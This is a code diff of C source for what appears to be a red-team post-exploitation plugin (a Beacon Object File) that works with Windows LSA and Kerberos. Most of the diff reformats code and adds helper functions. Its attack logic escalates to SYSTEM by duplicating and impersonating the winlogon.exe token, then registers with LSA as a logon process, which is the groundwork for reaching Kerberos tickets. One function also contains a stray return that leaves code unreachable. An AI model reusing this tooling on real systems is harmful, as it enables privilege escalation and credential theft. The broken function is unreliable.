"reserved2",
|
||||
"des3_cbc_sha1",
|
||||
"(8)"
|
||||
"dsaWithSHA1_CmsOID",
|
||||
"md5WithRSAEncryption_CmsOID",
|
||||
"sha1WithRSAEncryption_CmsOID",
|
||||
"rc2CBC_EnvOID",
|
||||
"rsaEncryption_EnvOID",
|
||||
"rsaES_OAEP_ENV_OID",
|
||||
"des_ede3_cbc_Env_OID",
|
||||
"des3_cbc_sha1_kd",
|
||||
"aes128_cts_hmac_sha1_96",
|
||||
"aes256_cts_hmac_sha1_96",
|
||||
"aes128_cts_hmac_sha256_128",
|
||||
"aes256_cts_hmac_sha384_192",
|
||||
"(21)",
|
||||
"(22)",
|
||||
"rc4_hmac",
|
||||
"rc4_hmac_exp",
|
||||
"camellia128_cts_cmac",
|
||||
"camellia256_cts_cmac"};
|
||||
|
||||
*encTypeString = MSVCRT$malloc(32 * sizeof(char));
|
||||
if (*encTypeString == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
return encTypeStr;
|
||||
|
||||
for (int i = 0; i < 27; i++)
|
||||
{
|
||||
if (i == encType)
|
||||
{
|
||||
_strcpy(*encTypeString, types[i]);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (encType == SUBKEY_KEYMATERIAL)
|
||||
{
|
||||
_strcpy(*encTypeString, "subkey_keymaterial\0");
|
||||
return;
|
||||
}
|
||||
|
||||
_strcpy(*encTypeString, "(unknown)\0");
|
||||
}
|
||||
|
||||
SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li) {
|
||||
SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li)
|
||||
{
|
||||
FILETIME ft;
|
||||
SYSTEMTIME st_utc;
|
||||
ft.dwHighDateTime = li.HighPart;
|
||||
@@ -85,15 +82,18 @@ SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li) {
|
||||
return st_utc;
|
||||
}
|
||||
|
||||
BOOL IsHighIntegrity() {
|
||||
BOOL IsHighIntegrity()
|
||||
{
|
||||
BOOL b;
|
||||
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
|
||||
PSID AdministratorsGroup;
|
||||
b = ADVAPI32$AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0,
|
||||
0, 0, 0, 0, &AdministratorsGroup);
|
||||
|
||||
if (b) {
|
||||
if (!ADVAPI32$CheckTokenMembership(NULL, AdministratorsGroup, &b)) {
|
||||
|
||||
if (b)
|
||||
{
|
||||
if (!ADVAPI32$CheckTokenMembership(NULL, AdministratorsGroup, &b))
|
||||
{
|
||||
b = FALSE;
|
||||
}
|
||||
ADVAPI32$FreeSid(AdministratorsGroup);
|
||||
@@ -102,7 +102,8 @@ BOOL IsHighIntegrity() {
|
||||
return b;
|
||||
}
|
||||
|
||||
BOOL IsSystem() {
|
||||
BOOL IsSystem()
|
||||
{
|
||||
HANDLE hToken;
|
||||
UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES];
|
||||
PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser;
|
||||
@@ -111,11 +112,13 @@ BOOL IsSystem() {
|
||||
PSID pSystemSid;
|
||||
BOOL bSystem;
|
||||
|
||||
if (!ADVAPI32$OpenProcessToken((HANDLE)-1, TOKEN_QUERY, &hToken)) {
|
||||
if (!ADVAPI32$OpenProcessToken((HANDLE)-1, TOKEN_QUERY, &hToken))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!ADVAPI32$GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) {
|
||||
if (!ADVAPI32$GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
@@ -127,36 +130,50 @@ BOOL IsSystem() {
|
||||
return bSystem;
|
||||
}
|
||||
|
||||
NTSTATUS GetLsaHandle(BOOL highIntegrity, HANDLE* hLsa) {
|
||||
NTSTATUS GetLsaHandle(BOOL highIntegrity, HANDLE *hLsa)
|
||||
{
|
||||
HANDLE hLsaLocal;
|
||||
LSA_OPERATIONAL_MODE mode = 0;
|
||||
NTSTATUS status = STATUS_SUCCESS;
|
||||
if (!highIntegrity) {
|
||||
if (!highIntegrity)
|
||||
{
|
||||
status = SECUR32$LsaConnectUntrusted(&hLsaLocal);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
// AuditPol.exe /set /subcategory:"Security System Extension"
|
||||
// /success:enable /failure:enable Event ID 4611 Note: detect elevation via
|
||||
// winlogon.exe.
|
||||
char* name = "Winlogon";
|
||||
char *name = "Winlogon";
|
||||
STRING lsaString = (STRING){.Length = 8, .MaximumLength = 9, .Buffer = name};
|
||||
SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);
|
||||
if (hLsaLocal == NULL) {
|
||||
if (IsSystem()) {
|
||||
if (hLsaLocal == NULL)
|
||||
{
|
||||
if (IsSystem())
|
||||
{
|
||||
status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
}
|
||||
} else {
|
||||
if (ElevateToSystem()) {
|
||||
}
|
||||
else
|
||||
{
|
||||
if (ElevateToSystem())
|
||||
{
|
||||
status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
}
|
||||
ADVAPI32$RevertToSelf();
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = KERNEL32$GetLastError();
|
||||
}
|
||||
}
|
||||
@@ -167,25 +184,30 @@ NTSTATUS GetLsaHandle(BOOL highIntegrity, HANDLE* hLsa) {
|
||||
return status;
|
||||
}
|
||||
|
||||
int GetProcessIdByName(WCHAR* processName) {
|
||||
int GetProcessIdByName(WCHAR *processName)
|
||||
{
|
||||
HANDLE hProcessSnap;
|
||||
PROCESSENTRY32W pe32;
|
||||
int pid = -1;
|
||||
|
||||
hProcessSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
return pid;
|
||||
}
|
||||
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32W);
|
||||
if (!KERNEL32$Process32FirstW(hProcessSnap, &pe32)) {
|
||||
if (!KERNEL32$Process32FirstW(hProcessSnap, &pe32))
|
||||
{
|
||||
KERNEL32$CloseHandle(hProcessSnap);
|
||||
return pid;
|
||||
}
|
||||
|
||||
do {
|
||||
WCHAR* procName = pe32.szExeFile;
|
||||
if (_wcscmp(procName, processName) == 0) {
|
||||
do
|
||||
{
|
||||
WCHAR *procName = pe32.szExeFile;
|
||||
if (_wcscmp(procName, processName) == 0)
|
||||
{
|
||||
pid = pe32.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
@@ -195,20 +217,27 @@ int GetProcessIdByName(WCHAR* processName) {
|
||||
return pid;
|
||||
}
|
||||
|
||||
BOOL ElevateToSystem() {
|
||||
BOOL ElevateToSystem()
|
||||
{
|
||||
int pid = GetProcessIdByName(L"winlogon.exe");
|
||||
if (pid == -1) {
|
||||
if (pid == -1)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
BOOL res = FALSE;
|
||||
HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (hProcess != NULL) {
|
||||
if (hProcess != NULL)
|
||||
{
|
||||
HANDLE hDupToken;
|
||||
HANDLE hToken;
|
||||
if (ADVAPI32$OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) {
|
||||
if (hToken != NULL) {
|
||||
if (ADVAPI32$DuplicateToken(hToken, SecurityImpersonation, &hDupToken)) {
|
||||
if (ADVAPI32$ImpersonateLoggedOnUser(hDupToken)) {
|
||||
if (ADVAPI32$OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken))
|
||||
{
|
||||
if (hToken != NULL)
|
||||
{
|
||||
if (ADVAPI32$DuplicateToken(hToken, SecurityImpersonation, &hDupToken))
|
||||
{
|
||||
if (ADVAPI32$ImpersonateLoggedOnUser(hDupToken))
|
||||
{
|
||||
res = TRUE;
|
||||
}
|
||||
KERNEL32$CloseHandle(hDupToken);
|
||||
@@ -222,32 +251,12 @@ BOOL ElevateToSystem() {
|
||||
return res;
|
||||
}
|
||||
|
||||
char* GetNarrowStringFromUnicode(UNICODE_STRING src) {
|
||||
int len = src.Length / sizeof(WCHAR);
|
||||
char* dest = (char*)MSVCRT$calloc(len + 1, sizeof(char));
|
||||
if (dest == NULL) {
|
||||
return "(mem_alloc_error)";
|
||||
}
|
||||
MSVCRT$wcstombs(dest, src.Buffer, len);
|
||||
dest[len] = '\0';
|
||||
return dest;
|
||||
}
|
||||
|
||||
char* GetNarrowString(WCHAR* src) {
|
||||
int len = _wcslen(src);
|
||||
char* dest = (char*)MSVCRT$calloc(len + 1, sizeof(char));
|
||||
if (dest == NULL) {
|
||||
return "(mem_alloc_error)";
|
||||
}
|
||||
MSVCRT$wcstombs(dest, src, len);
|
||||
dest[len] = '\0';
|
||||
return dest;
|
||||
}
|
||||
|
||||
WCHAR* GetWideString(char* src) {
|
||||
WCHAR *GetWideString(char *src)
|
||||
{
|
||||
int len = _strlen(src);
|
||||
WCHAR* dest = (WCHAR*)MSVCRT$calloc(len + 1, sizeof(WCHAR));
|
||||
if (dest == NULL) {
|
||||
WCHAR *dest = (WCHAR *)MSVCRT$calloc(len + 1, sizeof(WCHAR));
|
||||
if (dest == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
MSVCRT$mbstowcs(dest, src, len);
|
||||
@@ -263,47 +272,155 @@ WCHAR* GetWideString(char* src) {
|
||||
*
|
||||
*/
|
||||
|
||||
unsigned int _strlen(const char *str) {
|
||||
unsigned int _strlen(const char *str)
|
||||
{
|
||||
const char *s = str;
|
||||
while (*s) s++;
|
||||
while (*s)
|
||||
s++;
|
||||
return s - str;
|
||||
}
|
||||
|
||||
int _strcmp(const char *str1, const char *str2) {
|
||||
while (*str1 && *str1 == *str2) { str1++; str2++; }
|
||||
if ((unsigned char)*str1 > (unsigned char)*str2) return 1;
|
||||
if ((unsigned char)*str1 < (unsigned char)*str2) return -1;
|
||||
int _strcmp(const char *str1, const char *str2)
|
||||
{
|
||||
while (*str1 && *str1 == *str2)
|
||||
{
|
||||
str1++;
|
||||
str2++;
|
||||
}
|
||||
if ((unsigned char)*str1 > (unsigned char)*str2)
|
||||
return 1;
|
||||
if ((unsigned char)*str1 < (unsigned char)*str2)
|
||||
return -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
void* _memcpy(void *dst, const void *src, size_t n) {
|
||||
volatile unsigned char *d = dst; /* avoid gcc optimizations */
|
||||
char *_strcpy(char *dst, const char *src)
|
||||
{
|
||||
char *d = dst;
|
||||
while ((*d++ = *src++))
|
||||
;
|
||||
return dst;
|
||||
}
|
||||
|
||||
char *_strstr(const char *str, const char *sub)
|
||||
{
|
||||
while (*str)
|
||||
{
|
||||
const char *p1 = str, *p2 = sub;
|
||||
while (*p1 && *p2 && *p1 == *p2)
|
||||
{
|
||||
p1++;
|
||||
p2++;
|
||||
}
|
||||
if (!*p2)
|
||||
return (char *)str;
|
||||
str++;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void *_memcpy(void *dst, const void *src, size_t n)
|
||||
{
|
||||
volatile unsigned char *d = dst; /* avoid gcc optimizations */
|
||||
const unsigned char *s = src;
|
||||
|
||||
if ((size_t)dst - (size_t)src >= n)
|
||||
{
|
||||
while (n--) *d++ = *s++;
|
||||
while (n--)
|
||||
*d++ = *s++;
|
||||
}
|
||||
else
|
||||
{
|
||||
d += n - 1;
|
||||
s += n - 1;
|
||||
while (n--) *d-- = *s--;
|
||||
while (n--)
|
||||
*d-- = *s--;
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
|
||||
int _memcmp(const void *ptr1, const void *ptr2, size_t n) {
|
||||
int _memcmp(const void *ptr1, const void *ptr2, size_t n)
|
||||
{
|
||||
const unsigned char *p1, *p2;
|
||||
|
||||
for (p1 = ptr1, p2 = ptr2; n; n--, p1++, p2++)
|
||||
{
|
||||
if (*p1 < *p2) return -1;
|
||||
if (*p1 > *p2) return 1;
|
||||
if (*p1 < *p2)
|
||||
return -1;
|
||||
if (*p1 > *p2)
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static inline void _memset_aligned_32(unsigned char *d, uint64_t v, size_t n)
|
||||
{
|
||||
unsigned char *end = d + n;
|
||||
while (d < end)
|
||||
{
|
||||
*(uint64_t *)(d + 0) = v;
|
||||
*(uint64_t *)(d + 8) = v;
|
||||
*(uint64_t *)(d + 16) = v;
|
||||
*(uint64_t *)(d + 24) = v;
|
||||
d += 32;
|
||||
}
|
||||
}
|
||||
|
||||
void *_memset(void *dst, int c, size_t n)
|
||||
{
|
||||
typedef uint64_t DECLSPEC_ALIGN(1) unaligned_ui64;
|
||||
typedef uint32_t DECLSPEC_ALIGN(1) unaligned_ui32;
|
||||
typedef uint16_t DECLSPEC_ALIGN(1) unaligned_ui16;
|
||||
|
||||
uint64_t v = 0x101010101010101ull * (unsigned char)c;
|
||||
unsigned char *d = (unsigned char *)dst;
|
||||
size_t a = 0x20 - ((uintptr_t)d & 0x1f);
|
||||
|
||||
if (n >= 16)
|
||||
{
|
||||
*(unaligned_ui64 *)(d + 0) = v;
|
||||
*(unaligned_ui64 *)(d + 8) = v;
|
||||
*(unaligned_ui64 *)(d + n - 16) = v;
|
||||
*(unaligned_ui64 *)(d + n - 8) = v;
|
||||
if (n <= 32)
|
||||
return dst;
|
||||
*(unaligned_ui64 *)(d + 16) = v;
|
||||
*(unaligned_ui64 *)(d + 24) = v;
|
||||
*(unaligned_ui64 *)(d + n - 32) = v;
|
||||
*(unaligned_ui64 *)(d + n - 24) = v;
|
||||
if (n <= 64)
|
||||
return dst;
|
||||
|
||||
n = (n - a) & ~0x1f;
|
||||
_memset_aligned_32(d + a, v, n);
|
||||
return dst;
|
||||
}
|
||||
if (n >= 8)
|
||||
{
|
||||
*(unaligned_ui64 *)d = v;
|
||||
*(unaligned_ui64 *)(d + n - 8) = v;
|
||||
return dst;
|
||||
}
|
||||
if (n >= 4)
|
||||
{
|
||||
*(unaligned_ui32 *)d = v;
|
||||
*(unaligned_ui32 *)(d + n - 4) = v;
|
||||
return dst;
|
||||
}
|
||||
if (n >= 2)
|
||||
{
|
||||
*(unaligned_ui16 *)d = v;
|
||||
*(unaligned_ui16 *)(d + n - 2) = v;
|
||||
return dst;
|
||||
}
|
||||
if (n >= 1)
|
||||
{
|
||||
*(uint8_t *)d = v;
|
||||
return dst;
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
|
||||
/*
|
||||
* NTDLL wide-char functions
|
||||
*
|
||||
@@ -312,13 +429,136 @@ int _memcmp(const void *ptr1, const void *ptr2, size_t n) {
|
||||
* Copyright 2003 Thomas Mertes
|
||||
*/
|
||||
|
||||
unsigned int _wcslen(LPCWSTR str) {
|
||||
unsigned int _wcslen(LPCWSTR str)
|
||||
{
|
||||
const WCHAR *s = str;
|
||||
while (*s) s++;
|
||||
while (*s)
|
||||
s++;
|
||||
return s - str;
|
||||
}
|
||||
|
||||
int _wcscmp(LPCWSTR str1, LPCWSTR str2) {
|
||||
while (*str1 && (*str1 == *str2)) { str1++; str2++; }
|
||||
int _wcscmp(LPCWSTR str1, LPCWSTR str2)
|
||||
{
|
||||
while (*str1 && (*str1 == *str2))
|
||||
{
|
||||
str1++;
|
||||
str2++;
|
||||
}
|
||||
return *str1 - *str2;
|
||||
}
|
||||
}
|
||||
|
||||
HRESULT __stdcall _StringCchPrintfExA(STRSAFE_LPSTR pszDest, size_t cchDest, STRSAFE_LPSTR *ppszDestEnd, size_t *pcchRemaining, unsigned __LONG32 dwFlags, STRSAFE_LPCSTR pszFormat, ...)
|
||||
{
|
||||
HRESULT hr;
|
||||
va_list argList;
|
||||
if (cchDest > STRSAFE_MAX_CCH)
|
||||
return STRSAFE_E_INVALID_PARAMETER;
|
||||
va_start(argList, pszFormat);
|
||||
hr = _StringVPrintfExWorkerA(pszDest, cchDest, cchDest, ppszDestEnd, pcchRemaining, dwFlags, pszFormat, argList);
|
||||
va_end(argList);
|
||||
return hr;
|
||||
}
|
||||
|
||||
HRESULT __stdcall _StringVPrintfExWorkerA(STRSAFE_LPSTR pszDest, size_t cchDest, size_t cbDest, STRSAFE_LPSTR *ppszDestEnd, size_t *pcchRemaining, unsigned __LONG32 dwFlags, STRSAFE_LPCSTR pszFormat, va_list argList)
|
||||
{
|
||||
HRESULT hr = S_OK;
|
||||
STRSAFE_LPSTR pszDestEnd = pszDest;
|
||||
size_t cchRemaining = 0;
|
||||
if (dwFlags & (~STRSAFE_VALID_FLAGS))
|
||||
hr = STRSAFE_E_INVALID_PARAMETER;
|
||||
else
|
||||
{
|
||||
if (dwFlags & STRSAFE_IGNORE_NULLS)
|
||||
{
|
||||
if (!pszDest)
|
||||
{
|
||||
if ((cchDest != 0) || (cbDest != 0))
|
||||
hr = STRSAFE_E_INVALID_PARAMETER;
|
||||
}
|
||||
if (!pszFormat)
|
||||
pszFormat = "";
|
||||
}
|
||||
if (SUCCEEDED(hr))
|
||||
{
|
||||
if (cchDest == 0)
|
||||
{
|
||||
pszDestEnd = pszDest;
|
||||
cchRemaining = 0;
|
||||
if (*pszFormat != '\0')
|
||||
{
|
||||
if (!pszDest)
|
||||
hr = STRSAFE_E_INVALID_PARAMETER;
|
||||
else
|
||||
hr = STRSAFE_E_INSUFFICIENT_BUFFER;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
int iRet;
|
||||
size_t cchMax;
|
||||
cchMax = cchDest - 1;
|
||||
iRet = MSVCRT$_vsnprintf(pszDest, cchMax, pszFormat, argList);
|
||||
if ((iRet < 0) || (((size_t)iRet) > cchMax))
|
||||
{
|
||||
pszDestEnd = pszDest + cchMax;
|
||||
cchRemaining = 1;
|
||||
*pszDestEnd = '\0';
|
||||
hr = STRSAFE_E_INSUFFICIENT_BUFFER;
|
||||
}
|
||||
else if (((size_t)iRet) == cchMax)
|
||||
{
|
||||
pszDestEnd = pszDest + cchMax;
|
||||
cchRemaining = 1;
|
||||
*pszDestEnd = '\0';
|
||||
}
|
||||
else if (((size_t)iRet) < cchMax)
|
||||
{
|
||||
pszDestEnd = pszDest + iRet;
|
||||
cchRemaining = cchDest - iRet;
|
||||
if (dwFlags & STRSAFE_FILL_BEHIND_NULL)
|
||||
{
|
||||
_memset(pszDestEnd + 1, STRSAFE_GET_FILL_PATTERN(dwFlags), ((cchRemaining - 1) * sizeof(char)) + (cbDest % sizeof(char)));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (FAILED(hr))
|
||||
{
|
||||
if (pszDest)
|
||||
{
|
||||
if (dwFlags & STRSAFE_FILL_ON_FAILURE)
|
||||
{
|
||||
_memset(pszDest, STRSAFE_GET_FILL_PATTERN(dwFlags), cbDest);
|
||||
if (STRSAFE_GET_FILL_PATTERN(dwFlags) == 0)
|
||||
{
|
||||
pszDestEnd = pszDest;
|
||||
cchRemaining = cchDest;
|
||||
}
|
||||
else if (cchDest > 0)
|
||||
{
|
||||
pszDestEnd = pszDest + cchDest - 1;
|
||||
cchRemaining = 1;
|
||||
*pszDestEnd = '\0';
|
||||
}
|
||||
}
|
||||
if (dwFlags & (STRSAFE_NULL_ON_FAILURE | STRSAFE_NO_TRUNCATION))
|
||||
{
|
||||
if (cchDest > 0)
|
||||
{
|
||||
pszDestEnd = pszDest;
|
||||
cchRemaining = cchDest;
|
||||
*pszDestEnd = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (SUCCEEDED(hr) || (hr == STRSAFE_E_INSUFFICIENT_BUFFER))
|
||||
{
|
||||
if (ppszDestEnd)
|
||||
*ppszDestEnd = pszDestEnd;
|
||||
if (pcchRemaining)
|
||||
*pcchRemaining = cchRemaining;
|
||||
}
|
||||
return hr;
|
||||
}
|
||||
|
||||
+159
@@ -0,0 +1,159 @@
|
||||
#include <windows.h>
|
||||
#include "bofdefs.h"
|
||||
|
||||
// From TrustedSec's CS-Situational-Awareness-BOF
|
||||
typedef struct LoadedLibrary
|
||||
{
|
||||
HMODULE hMod;
|
||||
const char *name;
|
||||
} LoadedLibrary, *PLoadedLibrary;
|
||||
LoadedLibrary loadedLibraries[2] __attribute__((section(".data"))) = {0};
|
||||
DWORD loadedLibrariesCount __attribute__((section(".data"))) = 0;
|
||||
|
||||
FARPROC DynamicLoad(const char *library, const char *function)
|
||||
{
|
||||
FARPROC fp = NULL;
|
||||
HMODULE hMod = NULL;
|
||||
DWORD i = 0;
|
||||
DWORD liblen = 0;
|
||||
for (i = 0; i < loadedLibrariesCount; i++)
|
||||
{
|
||||
if (_strcmp(library, loadedLibraries[i].name) == 0)
|
||||
{
|
||||
hMod = loadedLibraries[i].hMod;
|
||||
}
|
||||
}
|
||||
if (!hMod)
|
||||
{
|
||||
hMod = LoadLibraryA(library);
|
||||
if (!hMod)
|
||||
{
|
||||
PRINT(NULL, "[!] Could not find library %s to load.\n", library);
|
||||
return NULL;
|
||||
}
|
||||
loadedLibraries[loadedLibrariesCount].hMod = hMod;
|
||||
loadedLibraries[loadedLibrariesCount].name = library;
|
||||
loadedLibrariesCount++;
|
||||
}
|
||||
fp = GetProcAddress(hMod, function);
|
||||
|
||||
if (NULL == fp)
|
||||
{
|
||||
PRINT(NULL, "[!] Could not find function %s.\n", function);
|
||||
}
|
||||
return fp;
|
||||
}
|
||||
|
||||
// secur32
|
||||
typedef NTSTATUS(WINAPI *_LsaGetLogonSessionData)(PLUID LogonId, PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData);
|
||||
typedef NTSTATUS(WINAPI *_LsaFreeReturnBuffer)(PVOID Buffer);
|
||||
typedef NTSTATUS(WINAPI *_LsaEnumerateLogonSessions)(PULONG LogonSessionCount, PLUID *LogonSessionList);
|
||||
typedef NTSTATUS(WINAPI *_LsaRegisterLogonProcess)(PLSA_STRING LogonProcessName, PHANDLE LsaHandle, PLSA_OPERATIONAL_MODE SecurityMode);
|
||||
typedef NTSTATUS(WINAPI *_LsaLookupAuthenticationPackage)(HANDLE LsaHandle, PLSA_STRING PackageName, PULONG AuthenticationPackage);
|
||||
typedef NTSTATUS(WINAPI *_LsaCallAuthenticationPackage)(HANDLE LsaHandle, ULONG AuthenticationPackage,
|
||||
PVOID ProtocolSubmitBuffer, ULONG SubmitBufferLength,
|
||||
PVOID *ProtocolReturnBuffer, PULONG ReturnBufferLength,
|
||||
PNTSTATUS ProtocolStatus);
|
||||
typedef NTSTATUS(WINAPI *_LsaDeregisterLogonProcess)(HANDLE LsaHandle);
|
||||
typedef NTSTATUS(WINAPI *_LsaConnectUntrusted)(PHANDLE LsaHandle);
|
||||
typedef SECURITY_STATUS(WINAPI *_AcquireCredentialsHandleA)(SEC_CHAR *pszPrincipal, SEC_CHAR *pszPackage,
|
||||
unsigned __LONG32 fCredentialUse, void *pvLogonId,
|
||||
void *pAuthData, SEC_GET_KEY_FN pGetKeyFn,
|
||||
void *pvGetKeyArgument, PCredHandle phCredential,
|
||||
PTimeStamp ptsExpiry);
|
||||
typedef SECURITY_STATUS(WINAPI *_InitializeSecurityContextA)(
|
||||
PCredHandle phCredential, PCtxtHandle phContext, SEC_CHAR *pszTargetName, unsigned __LONG32 fContextReq,
|
||||
unsigned __LONG32 Reserved1, unsigned __LONG32 TargetDataRep, PSecBufferDesc pInput, unsigned __LONG32 Reserved2,
|
||||
PCtxtHandle phNewContext, PSecBufferDesc pOutput, unsigned __LONG32 *pfContextAttr, PTimeStamp ptsExpiry);
|
||||
typedef SECURITY_STATUS(WINAPI *_FreeContextBuffer)(void *pvContextBuffer);
|
||||
typedef SECURITY_STATUS(WINAPI *_DeleteSecurityContext)(PCtxtHandle phContext);
|
||||
typedef SECURITY_STATUS(WINAPI *_FreeCredentialsHandle)(PCredHandle phCredential);
|
||||
|
||||
#define SECUR32$LsaGetLogonSessionData ((_LsaGetLogonSessionData)DynamicLoad("SECUR32", "LsaGetLogonSessionData"))
|
||||
#define SECUR32$LsaFreeReturnBuffer ((_LsaFreeReturnBuffer)DynamicLoad("SECUR32", "LsaFreeReturnBuffer"))
|
||||
#define SECUR32$LsaEnumerateLogonSessions ((_LsaEnumerateLogonSessions)DynamicLoad("SECUR32", "LsaEnumerateLogonSessions"))
|
||||
#define SECUR32$LsaRegisterLogonProcess ((_LsaRegisterLogonProcess)DynamicLoad("SECUR32", "LsaRegisterLogonProcess"))
|
||||
#define SECUR32$LsaLookupAuthenticationPackage ((_LsaLookupAuthenticationPackage)DynamicLoad("SECUR32", "LsaLookupAuthenticationPackage"))
|
||||
#define SECUR32$LsaCallAuthenticationPackage ((_LsaCallAuthenticationPackage)DynamicLoad("SECUR32", "LsaCallAuthenticationPackage"))
|
||||
#define SECUR32$LsaDeregisterLogonProcess ((_LsaDeregisterLogonProcess)DynamicLoad("SECUR32", "LsaDeregisterLogonProcess"))
|
||||
#define SECUR32$LsaConnectUntrusted ((_LsaConnectUntrusted)DynamicLoad("SECUR32", "LsaConnectUntrusted"))
|
||||
#define SECUR32$AcquireCredentialsHandleA ((_AcquireCredentialsHandleA)DynamicLoad("SECUR32", "AcquireCredentialsHandleA"))
|
||||
#define SECUR32$InitializeSecurityContextA ((_InitializeSecurityContextA)DynamicLoad("SECUR32", "InitializeSecurityContextA"))
|
||||
#define SECUR32$FreeContextBuffer ((_FreeContextBuffer)DynamicLoad("SECUR32", "FreeContextBuffer"))
|
||||
#define SECUR32$DeleteSecurityContext ((_DeleteSecurityContext)DynamicLoad("SECUR32", "DeleteSecurityContext"))
|
||||
#define SECUR32$FreeCredentialsHandle ((_FreeCredentialsHandle)DynamicLoad("SECUR32", "FreeCredentialsHandle"))
|
||||
|
||||
// msasn1
|
||||
typedef ASN1module_t(ASN1API *_ASN1_CreateModule)(ASN1uint32_t nVersion, ASN1encodingrule_e eRule, ASN1uint32_t dwFlags,
|
||||
ASN1uint32_t cPDU, const ASN1GenericFun_t apfnEncoder[],
|
||||
const ASN1GenericFun_t apfnDecoder[],
|
||||
const ASN1FreeFun_t apfnFreeMemory[], const ASN1uint32_t acbStructSize[],
|
||||
ASN1magic_t nModuleName);
|
||||
typedef void(ASN1API *_ASN1_CloseModule)(ASN1module_t pModule);
|
||||
typedef ASN1error_e(ASN1API *_ASN1_CreateEncoder)(ASN1module_t pModule, ASN1encoding_t *ppEncoderInfo, ASN1octet_t *pbBuf,
|
||||
ASN1uint32_t cbBufSize, ASN1encoding_t pParent);
|
||||
typedef ASN1error_e(ASN1API *_ASN1_Encode)(ASN1encoding_t pEncoderInfo, void *pDataStruct, ASN1uint32_t nPduNum,
|
||||
ASN1uint32_t dwFlags, ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize);
|
||||
typedef void(ASN1API *_ASN1_CloseEncoder)(ASN1encoding_t pEncoderInfo);
|
||||
typedef void(ASN1API *_ASN1_FreeEncoded)(ASN1encoding_t pEncoderInfo, void *pBuf);
|
||||
typedef ASN1error_e(ASN1API *_ASN1_CreateDecoder)(ASN1module_t pModule, ASN1decoding_t *ppDecoderInfo, ASN1octet_t *pbBuf,
|
||||
ASN1uint32_t cbBufSize, ASN1decoding_t pParent);
|
||||
typedef ASN1error_e(ASN1API *_ASN1_Decode)(ASN1decoding_t pDecoderInfo, void **ppDataStruct, ASN1uint32_t nPduNum,
|
||||
ASN1uint32_t dwFlags, ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize);
|
||||
typedef void(ASN1API *_ASN1_CloseDecoder)(ASN1decoding_t pDecoderInfo);
|
||||
typedef void(ASN1API *_ASN1_FreeDecoded)(ASN1decoding_t pDecoderInfo, void *pDataStruct, ASN1uint32_t nPduNum);
|
||||
typedef void(ASN1API *_ASN1bitstring_free)(ASN1bitstring_t *);
|
||||
typedef void(ASN1API *_ASN1ztcharstring_free)(ASN1ztcharstring_t);
|
||||
typedef void(ASN1API *_ASN1octetstring_free)(ASN1octetstring_t *);
|
||||
typedef void(ASN1API *_ASN1intx_free)(ASN1intx_t *);
|
||||
typedef int(ASN1API *_ASN1BERDecExplicitTag)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1decoding_t *dd, ASN1octet_t **di);
|
||||
typedef int(ASN1API *_ASN1BERDecS32Val)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1int32_t *);
|
||||
typedef int(ASN1API *_ASN1BERDecEndOfContents)(ASN1decoding_t dec, ASN1decoding_t dd, ASN1octet_t *di);
|
||||
typedef int(ASN1API *_ASN1BERDecBitString)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1bitstring_t *);
|
||||
typedef int(ASN1API *_ASN1BERDecZeroCharString)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1ztcharstring_t *);
|
||||
